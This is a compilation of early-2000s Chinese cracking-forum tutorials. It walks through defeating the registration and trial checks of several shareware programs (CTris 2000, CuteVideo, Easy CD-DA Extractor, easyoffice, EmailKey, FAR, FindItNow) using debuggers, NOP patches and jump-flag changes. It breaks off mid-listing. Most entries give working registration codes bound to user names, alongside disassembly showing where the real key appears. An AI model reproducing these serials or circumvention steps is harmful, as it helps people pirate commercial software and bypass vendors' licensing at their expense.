* Possible StringData Ref from Data Obj ->"software\microsoft\windows\currentversion\priv"
->"atestorage\"

*****************************************************************
现在，可以暴力修改了 ？
:00426B69 E80E120000 call 00427D7C //NOP 掉(9090909090)

:004278ED E88A040000 call 00427D7C //NOP 掉(9090909090)
重新运行修改后的程序，已无限制，暴力破解成功！！！

三、注册码的解法
虽然暴力破解成功了，但我又想解它的注册码，毕竟注册码方便得多啦。暴力破解后注册表：
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\privatestorage\CJSFormater]中项是我原来乱填的，没有真实的注册码。
先用TRW 2000 下bpx 00426B69,g,退出，运行脱壳后程序,中断在:
00426B69 CALL 00427D7C 处、F8进入，F10单步跟踪... （在第一次跟踪时没有记录在案，只是在内存中翻了翻，看到一个码：4E58DE8A60210BF6 ，退出填入，注册成功。到想再跟踪多一次的时候，怎么也不能出现：4E58DE8A60210BF6 了，实在太失败了！！！）。哪位大哥能指导、指导！！！（看雪的书中有无呢？第几页？我buy了看雪的书)

注册成功后我的注册表：（我本机器ID号：A3B89D30BEBF76825）
REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\privatestorage\CJSFormater]
"ATDATE"=hex:bd,5f,cb,f6,fe,59,e2,40
"Email"="zywicbc@china.com"
"RegCode"="4E58DE8A60210BF6"

  感谢crackhl[CCG]上次在论坛给我的指导、支持!这是小弟写的第3篇破文,不知此文可不可以做我加入BCG的第2篇呢?

我的第3篇破文：zywicbc 于2001/11/24 8 pm


CTris 2000 Version2.0

 标 题:CTris 2000 Version2.0 破解过程，，请高手指点，谢谢！★强烈向初学破解者推荐★ (2千字)
发信人:同心是我
时 间:2001-11-25 16:59:34
详细信息:
破解 CTris 2000 Version2.0
作　　者：同心是我
破解时间：2001-11-13
软件简介：一个有七种方块、四种面板的增强版俄罗斯方块游戏，可玩性很强！
下　　载：http://www.adcsoft.com
限　　制：只能试玩10天。
注册费用：$15
破解工具：TRW 1.23
难　　度：易

◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆
早就听说ADC-Soft的游戏非常适合新手操练，于是就奔http://www.adcsoft.com
拉回来了四个游戏，一一加以开刀。真是不错，我刚刚破了那个增强版的扫雷，接下
来今天就破解CTris 2000 Version2.0吧！
我刚开始学破解没多长时间，希望各位高手看后别笑我水平太菜，请多多给我帮助
和指导，谢谢！

运行CTris 2000，又是漫长而又短暂的3秒钟，点击“Enter reg.code”按钮，
进入注册提示窗口，填写：
User name:tongxinshiwo Registraiton code:780822
按Ctrl＋N激活TRW，
输入 bpx hmemcpy ←…… 下断点
输入 g ←…… 继续运行
返回注册窗口，点击 OK
又返回TRW，你会在屏幕下方看到：
Break on BP1 ←…… 拦截成功
输入 bc * ←…… 清除断点
输入 pmodule ←…… 等于按F12若干次
这时，在屏幕中间你能看到绿色的那一行：
015F:0042CC6D MOV [EBX+0C],EAX
按7下F12一直到下面:
015F:004291AE RET
再按22下F10到:
015F:0046DA61 MOV EAX,[EBP-0C] ←……下 D EDX
看吧，注册码就在眼前。←…… 在屏幕右上方PROT32下面会有个注册码。
我的是：CT87975921
按F5返回，会提示“Invalid user name or registration code!”，
点击“确定”按钮，再点击“Enter reg.code”按钮，进入注册窗口，重
新输入User Name和Registration Code，点击“OK”按钮，你就可以看
到“Thank youfor you registering.”。怎么样，注册用户已经是你了！

User name: tongxinshiwo
Registraiton code: CT87975921

以同样的方法可得到中文注册名的注册码。
User name: 同心是我
Registraiton code: CT54278840

破解后的思考：
这个软件到期后，会提示“Your evaluation copy has been expired.”
如果这时你点击“Continue”按钮，程序会自动退出，如果你点击右上角
“×”按钮则程序会继续运行，再点一次“×”按钮，就会看到游戏画面了。
看来10天的限制还不彻底呀。下个版本作者要继续努力哟，嘻嘻……

这是我写的第四篇破解手记，不足之处请大家多多指出，谢谢！

同心是我 372.net@371.net

★破解很容易学的，只要你有信心和毅力再加上适当的破解工具软件，相信你也会
成为破解高手的，让我们一起进步吧！★
◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇THE END◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆


CUTEVIDEO 1.0

 标 题:CUTEVIDEO 1.0破解 (4千字)
发信人:fwnl
时 间:2002-2-28 10:53:37
详细信息:
CUTEVIDEO 1.0破解
Crack by fwnl
软件说明：一个的处理AVI和MEPG格式的程序
破解工具:w32dasm TRW2000

起动程序随便填入注册码，弹出Invalid Registration Key!
于是用w32dasm反编译，在字符串参考中找到Invalid Registration Key!
于是来到下面这里:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413F31(C) 可知这里是00413F31跳来,于是找00413F31
|
:0041401F 6A00 push 00000000
:00414021 8D45B2 lea eax, dword ptr [ebp-4E]
:00414024 E82BDAFEFF call 00401A54
:00414029 B202 mov dl, 02
:0041402B E858DAFEFF call 00401A88
:00414030 668B08 mov cx, word ptr [eax]
:00414033 51 push ecx
:00414034 66C745CC5000 mov [ebp-34], 0050

* Possible StringData Ref from Data Obj ->"Invalid Registration Key!" ===================

用TRW2000载入程序后bpx 00413f31，F5返回填入注册码,点0k后程序中断在
00413f31.发现这个跳转语句的状态是(jump)，于是就 r fl z 使它(no jump)
F5返回发现程序注册了，关了重来也是注册了，后来发现程序在注册表作了个记号
表示注册:
REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{AE12B0-CFDH31111-999000M-44DAW}\id]
"12CFF0321010"="1"
"12CFF0321011"=""

要得到注册码向上跟踪发现:00413EC6处 d eax得真的注册码

:00413E8F 8D55F4 lea edx, dword ptr [ebp-0C]
:00413E92 FF32 push dword ptr [edx]
:00413E94 8D45FC lea eax, dword ptr [ebp-04]
:00413E97 E878D7FEFF call 00401614
:00413E9C 50 push eax
:00413E9D FF45D8 inc [ebp-28]
:00413EA0 E8D70B0000 call 00414A7C
:00413EA5 83C408 add esp, 00000008
:00413EA8 FF4DD8 dec [ebp-28]
:00413EAB 8D45F4 lea eax, dword ptr [ebp-0C]
:00413EAE BA02000000 mov edx, 00000002
:00413EB3 E884240700 call 0048633C
:00413EB8 66C745CC1400 mov [ebp-34], 0014
:00413EBE 8D45FC lea eax, dword ptr [ebp-04]
:00413EC1 E86EDBFEFF call 00401A34
:00413EC6 50 push eax ===================d eax 真码
:00413EC7 E8883B0600 call 00477A54
:00413ECC 59 pop ecx
:00413ECD 83F806 cmp eax, 00000006
:00413ED0 731F jnb 00413EF1
:00413ED2 FF4DD8 dec [ebp-28]
:00413ED5 8D45FC lea eax, dword ptr [ebp-04]
:00413ED8 BA02000000 mov edx, 00000002
:00413EDD E85A240700 call 0048633C
:00413EE2 8B4DBC mov ecx, dword ptr [ebp-44]
:00413EE5 64890D00000000 mov dword ptr fs:[00000000], ecx
:00413EEC E98D010000 jmp 0041407E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413ED0(C)
|
:00413EF1 66C745CC2C00 mov [ebp-34], 002C
:00413EF7 8D45F0 lea eax, dword ptr [ebp-10]
:00413EFA E815D7FEFF call 00401614
:00413EFF 8BD0 mov edx, eax
:00413F01 FF45D8 inc [ebp-28]
:00413F04 8B4DB8 mov ecx, dword ptr [ebp-48]
:00413F07 8B81E0020000 mov eax, dword ptr [ecx+000002E0]
:00413F0D E8DAA00300 call 0044DFEC
:00413F12 8D45F0 lea eax, dword ptr [ebp-10]
:00413F15 8D55FC lea edx, dword ptr [ebp-04]
:00413F18 E803250700 call 00486420
:00413F1D 50 push eax
:00413F1E FF4DD8 dec [ebp-28]
:00413F21 8D45F0 lea eax, dword ptr [ebp-10]
:00413F24 BA02000000 mov edx, 00000002
:00413F29 E80E240700 call 0048633C
:00413F2E 59 pop ecx
:00413F2F 84C9 test cl, cl
:00413F31 0F84E8000000 je 0041401F //不跳就注册成功
:00413F37 68F0024A00 push 004A02F0
:00413F3C 8D8588FBFFFF lea eax, dword ptr [ebp+FFFFFB88]
:00413F42 50 push eax
:00413F43 E8DC3A0600 call 00477A24
:00413F48 83C408 add esp, 00000008
fwnl
这个程序用bpx hmemcpy 中断不了 2002.2.28
name:fwnlfwnl sn: o7s:8m:s6s5o 长沙
****** ***
*** **
******** **** ** *** ****** **
** *** * ** ** ** **
*** ******* *** ** ***
** ** ** ** *** ****
***


Easy CD-DA Extractor 3

 标 题:破解Easy CD-DA Extractor 3 (3千字)
发信人:VitaminC
时 间:2002-3-16 23:03:50
详细信息:
破解Easy CD-DA Extractor 3:
终于,开始试一下去破解商业软件,说实在,一开始接确这些软件还有点不一样.怎么说那些CRACKME都大多只有反破解的功能,而那些商业的则里面还有好多不知什么功能的代码!一看上去还一时不能适应.
好了就啰唆到这了,开始进入正题:
安装好软件后(可没稿费的...)...
就是进入注册的界面,填入:
NAME:Vitamin C
NUM.:1234ABCD(只能大写)
在SICE里用BPX HMEMCPY,F5后,按'注册'按纽,就会进入程序里,用几次F12就可以进入核心:
...
失败,失败...我,我也想不起会到哪了,反正是一个CALL取NAME一个CALL取NUM.的...
反正是进去后会有好多的CALL一些我搞不明白的CALL...反正说了怕你笑话,我现在还不知道得到正确的NUM.后什么时侯CMP,我只知道那个一看就知是NUM.的东东在哪产生的...也罢了,就写出是哪几个CALL后会出现正确的NUM.吧...(反正是经过好漫长的计算才跑出来的,虽说是自动的出来,但我还是跟了好久好久)...
...
:00401350 6846654D00 push 004D6546
:00401355 52 push edx
:00401356 E8851E0B00 call 004B31E0/*这个CALL后就会产生19A57A45- */
:0040135B 83C40C add esp, 0000000C
:0040135E 8D4DE0 lea ecx, dword ptr [ebp-20]
:00401361 51 push ecx
:00401362 8B450C mov eax, dword ptr [ebp+0C]
:00401365 50 push eax
:00401366 E809E10A00 call 004AF474/*这个CALL把'EZCDDAX3-'接上去(它好像是天生的*/
:0040136B 83C408 add esp, 00000008/*得到:EZCDDAX3-19A57A45- */
:0040136E 6A20 push 00000020
:00401370 8B5508 mov edx, dword ptr [ebp+08]
...
:0040141B 8B550C mov edx, dword ptr [ebp+0C]
:0040141E 52 push edx
:0040141F E850E00A00 call 004AF474 /*这个CALL后变成:EZCDDAX3-19A57A45-BD9F92DE- */
:00401424 83C408 add esp, 00000008
:00401427 33F6 xor esi, esi
...
:0040147F 52 push edx
:00401480 E8EFDF0A00 call 004AF474/*这个CALL后就全出来了:EZCDDAX3-19A57A45-BD9F92DE-360*/
:00401485 83C408 add esp, 00000008
:00401488 5F pop edi
:00401489 5E pop esi
:0040148A 5B pop ebx
:0040148B 8BE5 mov esp, ebp
...
那个NUM.放在和NAME不远的地方,在00E24BE0,反正你一看就会想到它是NUM.
这个NUM.是有来头的,开始我记录它的算法,经过了九牛二虎之力,才找出-19A57A45-的来头:
...
:00401326 8B4DEC mov ecx, dword ptr [ebp-14]
:00401329 8B45E4 mov eax, dword ptr [ebp-1C]
:0040132C 0FAF4DF0 imul ecx, dword ptr [ebp-10]
:00401330 0FAF4DF4 imul ecx, dword ptr [ebp-0C]
:00401334 0FAF4DF8 imul ecx, dword ptr [ebp-08]
:00401338 F76DE8 imul [ebp-18]
:0040133B 0FAF4DFC imul ecx, dword ptr [ebp-04]
:0040133F 8B55E0 mov edx, dword ptr [ebp-20]
:00401342 33C2 xor eax, edx
:00401344 8D55E0 lea edx, dword ptr [ebp-20]
:00401347 33C1 xor eax, ecx
:00401349 69C033A1F594 imul eax, 94F5A133
:0040134F 50 push eax /*EAX就是它了*/
...
这段代码就是算-19A57A45-的,用了好多数,(也不知那些数是哪来的...)
其它的我就没有细看了.我几乎是用了D 00E24BE0后,一路用F10,看着数据窗的变化就是了...嘻嘻...也给我看着那些NUM.一段一段自动跑出来.....

好了,就到这了,一个不成功的CRACK.对了现在已经是年三十了...明天又要老一岁!:-(

NAME:Vitamin C
NUM.:EZCDDAX3-19A57A45-BD9F92DE-360

Vitamin C[抗坏血酸].2002.2.11.HY.GD.CHI.


easyoffice 2001

 标 题:我的第一篇破文easyoffice 2001 高手莫入!! (1千字)
发信人:zywicbc
时 间:2001-11-4 12:04:23
详细信息:
软件：easyoffice 2001
英文原版下载地址:http://www.e-press.com/easyoffice-download/easyoffice.exe
(约28M，下了我2小时，钱阿钱!!!)
主页：http://www.e-press.com
工具：trw
目标：找出full version id
级别：婴儿级！！！！！！！
一直想找一个可以代替微软OFFICE的工具，www.e-press.com的easyoffice是一款不错的选择，它可读word&xls 内置有许多效果, 遗憾的是: 没有汉化，那位仁兄能做这个软件的汉化了，真是功得无量啊.
软件装好后，第一次运行出现一个“购买”窗口，选bye later 进入主程序，但有一个警告在菜单栏：无授权给商业用户，你必须购买。我要去掉烦人的“购买”窗口，通过分析，软件装好后在快捷方式有一个EasyHelper，执行它，选第二项 enter new userid(to upgrade to full version),出现输id画面，哈。。。
这不简单，用trw 搞定它。
步骤：
0.用trw 加载EasyHelper
1.启动EasyHelper
2.enter new userid(to upgrade to full version)
3.随便输入一个注册码 :999666333
4.ctrl+m
5.bpx hmemcpy
6.f5
7.ok
8.bd *
9.PMODULE

:0040BCEE 8B4C2408 mov ecx, [esp+08]
:0040BCF2 8B41F8 mov eax, [ecx-08]
:0040BCF5 8D4C2408 lea ecx, [esp+08]
:0040BCF9 50 push eax
:0040BCFA E88F110000 Call MFC42.Ord_00000B63
:0040BCFF 50 push eax <==== deax=999666333
:0040BD00 FF15A4454100 Call epval.EPval <==== F8进入
:0040BD06 83C404 add esp, 00000004

epval.EPval
:00431020 mov edx,[esp+04]
:00431024 sub esp,88
:0043102A push ebx
:0043102B push esi
:0043102C push edi
:0043102D mov edi,0043703C
:00431032 mov esi,edx <==== deax=999666333 dedi=970-9652-850
:00431034 mov cl,[esi]

好了 ，输入970-9652-850，咦?不够位，去“-”号，输入9709652850 ，ok!!

我的第一篇破文：zywicbc 于2001/11/04 上午


EmailKey2.0

标 题: [分享]EmailKey2.0——我的第一次pj实录
发信人freedom
时 间:2002/02/07 04:59pm
详细信息:

前段时间在黑白网下载了《看雪论坛精华》，第一次看便被吸引住了，以前从来没想过自己去pj软件，原来pj技术也并非我原先想像中的那样高深，于是便照着其中一篇pjWinzip8.0注册码的文章操作了一遍，结果非常顺利地找出了注册码，放到自己机子上用的Winzip8.0上去，OK！！以后打开Winzip时再也没有出现那烦人的启动窗口了。
初试牛刀成功，成就感油然而生，可终归是跟着别人的路走，不太爽！网上闲逛时在一个论坛上看到很多人讨论一个软件的真假，原来那软件未注册时有功能限制，需注册才能正常使用。嘿嘿！该是我出手的时候了（菜鸟都喜欢这样说！）。照网址下载后，先试运行一次，输入POP3服务器地址和用户名（字典都不用便能破密码？？），点开始探测，马上便出现提示：找到用户，成功获取密码。但密码框中显示的却是6个*号，何故？原来是因为未注册，所以密码用*号显示。不到30秒便破了邮箱密码，太诱人了，但注册费要200大洋，难怪这么多网友在谈论它。
拿照妖镜来！在软件里已经标明了我的注册号是：B1L6-9F3J-A8S5，一个注册号对应生成一个注册码，现在就是要找出它的注册码来了。下面是我的pj过程。
软件名称：EmailKey2.0
软件简介：电子邮箱密码探测器（简单易用，“破”邮箱密码不到30秒，速度快得匪夷所 思，是真的吗？呵呵！等下便让它现出原形）
pj日期：2002年2月1日
pj工具：Trw 2000 1.23汉化注册版
首先用Trw2000中载入EmailKey2.0，在注册框中任意输入，比如：1234。
Ctrl+N呼出，下指令:bpx hmemcpy //下中断点
按F5回到程序，按注册，被Trw2000拦截。
下指令bd * //屏障中断点
下指令pmodule //直接跳到程序的领空
一、来到下面的指令
016F:00401225 PUSH BYTE+14
016F:00401227 PUSH DWORD 00424678
016F:0040122C PUSH DWORD 00428800
016F:00401231 CALL 00402CE0 //有问题，关键在这里
016F:00401236 ADD ESP,BYTE+0C
016F:00401239 TEST EAX,EAX
016F:0040123B JNZ 00401269
016F:0040123D PUSH BYTE+00
016F:0040123F PUSH DWORD 0042466C
016F:00401244 PUSH DWORD 00424648
016F:00401249 MOV EDX,[EBP+08]
016F:0040124C PUSH EDX
016F:00401225 CALL USER32!MessageBoxA //在这行后再按F10弹出错误框。
二、在016F:00401231 CALL 00402CE0处按F8进入
016F:00402CE0 PUSH EBP
016F:00402CE1 MOV EBP,ESP
016F:00402CE3 PUSH EDI
016F:00402CE4 PUSH ESI
016F:00402CE5 PUSH EBX
016F:00402CE6 MOV ECX,[EBP+10]
016F:00402CE9 OR ECX,ECX
016F:00402CEB JZ NEAR 00402D86
016F:00402CF1 MOV ESI,[EBP+08] //下指令D ESI，显示你输入的注册码。
016F:00402CE0 MOV EDI,[EBP+0C] //下指令D EDI，显示真正的注册码。
整个过程不到10分钟，得到的注册码是：D4T7H2E4J3K2N9M6P1L4。输入注册框中，按注册，OK！显示：注册成功!注册类型:普通用户。
再来看一下注册后的运行效果，同样填好POP3服务器地址和用户名，开始探测。结果尽出现错误提示，再运行多次，结果一样，证实了我的猜测，只是空有其壳
而已，根本就没探测，作者也太……。不知道有没有网友真的交了200银子去注册（一个月的网费哪！）。
我只是初学者，这是我自己第一次成功pj一个软件的注册码，在高手眼中自不值一提，但目的是抛砖引玉，希望更多的朋友拿出自已的经验和技术，给初学者一个参考。


FAR 3.X

标 题:FAR 3.X的pj.
发信人 dola1234
时 间:2002/02/03 11:07am
详细信息:

FAR 3.X的pj.

进入注册窗口，输入所需的相关信息 下断点bpx hmemcpy.
:bpx hmemcpy after you clicked the button OK

push [F12] 14 times

push [F10] a little we will get here.

015F:005AFC40 50 PUSH EAX
015F:005AFC41 8B4DF4 MOV ECX,[EBP-0C]
015F:005AFC44 8B55F8 MOV EDX,[EBP-08]
015F:005AFC47 8B45FC MOV EAX,[EBP-04]
015F:005AFC4A E885B9F4FF CALL 004FB5D4 <---interesting call,we step in[1]
015F:005AFC4F 8806 MOV [ESI],AL <----旗帜
015F:005AFC51 803E00 CMP BYTE [ESI],00 <---对旗帜进行比较
015F:005AFC54 744D JZ 005AFCA3
015F:005AFC56 8B45F4 MOV EAX,[EBP-0C]
015F:005AFC59 E87EB2F4FF CALL 004FAEDC
015F:005AFC5E 8B15E0355D00 MOV EDX,[005D35E0]
015F:005AFC64 52 PUSH EDX
015F:005AFC65 50 PUSH EAX
015F:005AFC66 8D45E8 LEA EAX,[EBP-18]
015F:005AFC69 50 PUSH EAX
015F:005AFC6A 8B0D90165D00 MOV ECX,[005D1690]

[1]:we go here
015F:004FB64D 8975E8 MOV [EBP-18],ESI
015F:004FB650 C645EC00 MOV BYTE [EBP-14],00
015F:004FB654 8D55C8 LEA EDX,[EBP-38]
015F:004FB657 B904000000 MOV ECX,04
015F:004FB65C B8E8B64F00 MOV EAX,004FB6E8
015F:004FB661 E8F209FBFF CALL 004AC058
015F:004FB666 8B45F4 MOV EAX,[EBP-0C]
015F:004FB669 8945B8 MOV [EBP-48],EAX
015F:004FB66C C645BC0B MOV BYTE [EBP-44],0B
015F:004FB670 895DC0 MOV [EBP-40],EBX
015F:004FB673 C645C400 MOV BYTE [EBP-3C],00
015F:004FB677 8D55B8 LEA EDX,[EBP-48]
015F:004FB67A B901000000 MOV ECX,01
...
...
015F:004FB689 53 PUSH EBX
015F:004FB68A 8D45F0 LEA EAX,[EBP-10]
015F:004FB68D 50 PUSH EAX
015F:004FB68E 8BCE MOV ECX,ESI
015F:004FB690 8B55F8 MOV EDX,[EBP-08]
015F:004FB693 8B45FC MOV EAX,[EBP-04]
015F:004FB696 E8A9F9FFFF CALL 004FB044
015F:004FB69B 8B55F4 MOV EDX,[EBP-0C]
015F:004FB69E 8B45F0 MOV EAX,[EBP-10]
015F:004FB6A1 E82EE1F0FF CALL 004097D4 <---this call is the baby!!!
at this pointer "d eax"
we will get the register code.
015F:004FB6A6 85C0 TEST EAX,EAX
015F:004FB6A8 0F94C3 SETZ BL
015F:004FB6AB 33C0 XOR EAX,EAX
015F:004FB6AD 5A POP EDX
015F:004FB6AE 59 POP ECX

now we get the password:FAR22-DOLPH-00000-14320
NAME:dola
EMAIL:dolphinzh@cmmail.com


FINDITNOW!1.25 or 102

 标 题:FINDITNOW!1.25 or 102 中文版 破解心得 (14千字)
发信人:eryl
时 间:2002-2-9 13:43:10
详细信息:
这些日子放假在家，想着把技术在提高提高，随意的下了几个国产软件，没想到一个都搞不定！

技不如人啦。。。

大过年的，为了不让自己太难过，就找到了这个东西。

FINDITNOW!1.25 or 102 中文版

用trw装载程序。按f12 14次，来到这里

016F:00417ACC 837DFC00 CMP DWORD [EBP-04],BYTE +00...光标在此处
016F:00417AD0 7405 JZ 00417AD7
016F:00417AD2 8B4DFC MOV ECX,[EBP-04]
016F:00417AD5 EB05 JMP SHORT 00417ADC
016F:00417AD7 B95C604900 MOV ECX,0049605C
016F:00417ADC 8BF9 MOV EDI,ECX
016F:00417ADE 33C0 XOR EAX,EAX
016F:00417AE0 56 PUSH ESI
016F:00417AE1 83C9FF OR ECX,BYTE -01
016F:00417AE4 F2AE REPNE SCASB
016F:00417AE6 F7D1 NOT ECX
016F:00417AE8 2BF9 SUB EDI,ECX
016F:00417AEA 8DB5ACFBFFFF LEA ESI,[EBP+FFFFFBAC]
016F:00417AF0 87F7 XCHG ESI,EDI
016F:00417AF2 8BD1 MOV EDX,ECX
016F:00417AF4 8BC7 MOV EAX,EDI
016F:00417AF6 C1E902 SHR ECX,02
016F:00417AF9 8D45FC LEA EAX,[EBP-04]
016F:00417AFC F3A5 REP MOVSD
016F:00417AFE 8BCA MOV ECX,EDX
016F:00417B00 BA02000000 MOV EDX,02
016F:00417B05 83E103 AND ECX,BYTE +03
016F:00417B08 F3A4 REP MOVSB
016F:00417B0A 5E POP ESI
016F:00417B0B FF4DE4 DEC DWORD [EBP-1C]
016F:00417B0E E889F30600 CALL 00486E9C
016F:00417B13 66C745D81400 MOV WORD [EBP-28],14
016F:00417B19 33C9 XOR ECX,ECX
016F:00417B1B 894DF8 MOV [EBP-08],ECX
016F:00417B1E 8D55F8 LEA EDX,[EBP-08]
016F:00417B21 FF45E4 INC DWORD [EBP-1C]
016F:00417B24 8B86F8010000 MOV EAX,[ESI+01F8]
016F:00417B2A E85D830300 CALL 0044FE8C
016F:00417B2F 837DF800 CMP DWORD [EBP-08],BYTE +00
016F:00417B33 7405 JZ 00417B3A
016F:00417B35 8B4DF8 MOV ECX,[EBP-08]
016F:00417B38 EB05 JMP SHORT 00417B3F
016F:00417B3A B95D604900 MOV ECX,0049605D
016F:00417B3F 51 PUSH ECX
016F:00417B40 8D85ACFBFFFF LEA EAX,[EBP+FFFFFBAC]
016F:00417B46 50 PUSH EAX
016F:00417B47 E83C360600 CALL 0047B188
016F:00417B4C 83C408 ADD ESP,BYTE +08
016F:00417B4F FF4DE4 DEC DWORD [EBP-1C]
016F:00417B52 8D45F8 LEA EAX,[EBP-08]
016F:00417B55 BA02000000 MOV EDX,02
016F:00417B5A E83DF30600 CALL 00486E9C
016F:00417B5F 33D2 XOR EDX,EDX
016F:00417B61 8D8DACFBFFFF LEA ECX,[EBP+FFFFFBAC]
016F:00417B67 8D85ACFBFFFF LEA EAX,[EBP+FFFFFBAC]
016F:00417B6D EB19 JMP SHORT 00417B88
016F:00417B6F 0FBE18 MOVSX EBX,BYTE [EAX]
016F:00417B72 83FB20 CMP EBX,BYTE +20....来到此处后开始比较名字。名字中不能有空格
016F:00417B75 7410 JZ 00417B87
016F:00417B77 83FB2E CMP EBX,BYTE +2E...名字中不能有"."
016F:00417B7A 740B JZ 00417B87
016F:00417B7C 83FB2D CMP EBX,BYTE +2D...名字中不能有“-”
016F:00417B7F 7406 JZ 00417B87
016F:00417B81 8A18 MOV BL,[EAX].......................取名字的第一位
016F:00417B83 42 INC EDX
016F:00417B84 8819 MOV [ECX],BL
016F:00417B86 41 INC ECX
016F:00417B87 40 INC EAX
016F:00417B88 803800 CMP BYTE [EAX],00
016F:00417B8B 75E2 JNZ 00417B6F (JUMP)....依次取名字
016F:00417B8D C68415ACFBFFFF00 MOV BYTE [EBP+EDX+FFFFFBAC],00
016F:00417B95 8D85ACFBFFFF LEA EAX,[EBP+FFFFFBAC]
016F:00417B9B 50 PUSH EAX
016F:00417B9C E8237B0600 CALL 0047F6C4
016F:00417BA1 59 POP ECX
016F:00417BA2 33D2 XOR EDX,EDX
016F:00417BA4 8D85ACFBFFFF LEA EAX,[EBP+FFFFFBAC]
016F:00417BAA EB0A JMP SHORT 00417BB6
016F:00417BAC C1E202 SHL EDX,02
016F:00417BAF 4A DEC EDX
016F:00417BB0 0FBEC9 MOVSX ECX,CL
016F:00417BB3 03D1 ADD EDX,ECX
016F:00417BB5 40 INC EAX
016F:00417BB6 8A08 MOV CL,[EAX].....取名字和注册码的位数
016F:00417BB8 84C9 TEST CL,CL
016F:00417BBA 75F0 JNZ 00417BAC....网上跳取名字再次计算的中间值
016F:00417BBC 8BFA MOV EDI,EDX
016F:00417BBE 81F212EFCDAB XOR EDX,ABCDEF12
016F:00417BC4 81E2FFFF0000 AND EDX,FFFF
016F:00417BCA 81F726594131 XOR EDI,31415926
016F:00417BD0 33DB XOR EBX,EBX
016F:00417BD2 8955AC MOV [EBP-54],EDX
016F:00417BD5 8BC3 MOV EAX,EBX...........
016F:00417BD7 03C0 ADD EAX,EAX
016F:00417BD9 8D55BC LEA EDX,[EBP-44]
016F:00417BDC 03C2 ADD EAX,EDX
016F:00417BDE 50 PUSH EAX
016F:00417BDF 8BCB MOV ECX,EBX
016F:00417BE1 C1E103 SHL ECX,03
016F:00417BE4 8BC7 MOV EAX,EDI
016F:00417BE6 D3F8 SAR EAX,CL
016F:00417BE8 24FF AND AL,FF
016F:00417BEA 50 PUSH EAX
016F:00417BEB E868FEFFFF CALL 00417A58
016F:00417BF0 83C408 ADD ESP,BYTE +08
016F:00417BF3 43 INC EBX
016F:00417BF4 83FB04 CMP EBX,BYTE +04
016F:00417BF7 72DC JC 00417BD5...........网上跳再次计算名字，得后半部分的注册码
016F:00417BF9 C645C400 MOV BYTE [EBP-3C],00
016F:00417BFD 33DB XOR EBX,EBX
016F:00417BFF 8BC3 MOV EAX,EBX.......
016F:00417C01 03C0 ADD EAX,EAX
016F:00417C03 8D55B0 LEA EDX,[EBP-50] ......把注册码放入edx
016F:00417C06 03C2 ADD EAX,EDX..........把注册码放入eax
016F:00417C08 50 PUSH EAX.........d eax,就可以得到八位注册码。
016F:00417C09 8BCB MOV ECX,EBX
016F:00417C0B C1E103 SHL ECX,03
016F:00417C0E 8B45AC MOV EAX,[EBP-54]
016F:00417C11 D3F8 SAR EAX,CL
016F:00417C13 24FF AND AL,FF
016F:00417C15 50 PUSH EAX
016F:00417C16 E83DFEFFFF CALL 00417A58
016F:00417C1B 83C408 ADD ESP,BYTE +08
016F:00417C1E 43 INC EBX
016F:00417C1F 83FB02 CMP EBX,BYTE +02
016F:00417C22 72DB JC 00417BFF...........跳，把注册码分两段比对
016F:00417C24 C645B400 MOV BYTE [EBP-4C],00
016F:00417C28 8D55B0 LEA EDX,[EBP-50].......在此处可得一个helperkey:49cd
016F:00417C2B 8D8D84FBFFFF LEA ECX,[EBP+FFFFFB84]
016F:00417C31 52 PUSH EDX
016F:00417C32 685E604900 PUSH DWORD 0049605E
016F:00417C37 51 PUSH ECX
016F:00417C38 E8D3610600 CALL 0047DE10
016F:00417C3D 66C745D82000 MOV WORD [EBP-28],20
016F:00417C43 83C40C ADD ESP,BYTE +0C
016F:00417C46 8D9584FBFFFF LEA EDX,[EBP+FFFFFB84]
016F:00417C4C 8D45F4 LEA EAX,[EBP-0C]
016F:00417C4F E864F10600 CALL 00486DB8
016F:00417C54 FF45E4 INC DWORD [EBP-1C]
016F:00417C57 8B10 MOV EDX,[EAX]
016F:00417C59 8B8610020000 MOV EAX,[ESI+0210]
016F:00417C5F E858820300 CALL 0044FEBC
016F:00417C64 FF4DE4 DEC DWORD [EBP-1C]
016F:00417C67 8D45F4 LEA EAX,[EBP-0C]
016F:00417C6A BA02000000 MOV EDX,02
016F:00417C6F E828F20600 CALL 00486E9C
016F:00417C74 66C745D82C00 MOV WORD [EBP-28],2C
016F:00417C7A 33C9 XOR ECX,ECX
016F:00417C7C 894DF0 MOV [EBP-10],ECX
016F:00417C7F 8D55F0 LEA EDX,[EBP-10]
016F:00417C82 FF45E4 INC DWORD [EBP-1C]
016F:00417C85 8B8604020000 MOV EAX,[ESI+0204]
016F:00417C8B E8FC810300 CALL 0044FE8C
016F:00417C90 837DF000 CMP DWORD [EBP-10],BYTE +00
016F:00417C94 7405 JZ 00417C9B.....no jump!
016F:00417C96 8B4DF0 MOV ECX,[EBP-10].....此处取假的注册码
016F:00417C99 EB05 JMP SHORT 00417CA0
016F:00417C9B B96D604900 MOV ECX,0049606D
016F:00417CA0 8BF9 MOV EDI,ECX
016F:00417CA2 33C0 XOR EAX,EAX
016F:00417CA4 56 PUSH ESI
016F:00417CA5 83C9FF OR ECX,BYTE -01
016F:00417CA8 F2AE REPNE SCASB ......press f10 to go on
016F:00417CAA F7D1 NOT ECX
016F:00417CAC 2BF9 SUB EDI,ECX
016F:00417CAE 8DB574FBFFFF LEA ESI,[EBP+FFFFFB74]
016F:00417CB4 87F7 XCHG ESI,EDI
016F:00417CB6 8BD1 MOV EDX,ECX
016F:00417CB8 8BC7 MOV EAX,EDI
016F:00417CBA C1E902 SHR ECX,02
016F:00417CBD 8D45F0 LEA EAX,[EBP-10]
016F:00417CC0 F3A5 REP MOVSD ....press f10 to go on
016F:00417CC2 8BCA MOV ECX,EDX
016F:00417CC4 BA02000000 MOV EDX,02
016F:00417CC9 83E103 AND ECX,BYTE +03
016F:00417CCC F3A4 REP MOVSB ....take care,here you should press f8 to go on,otherwise you will be shown with the crash window!
016F:00417CCE 5E POP ESI
016F:00417CCF FF4DE4 DEC DWORD [EBP-1C]
016F:00417CD2 E8C5F10600 CALL 00486E9C
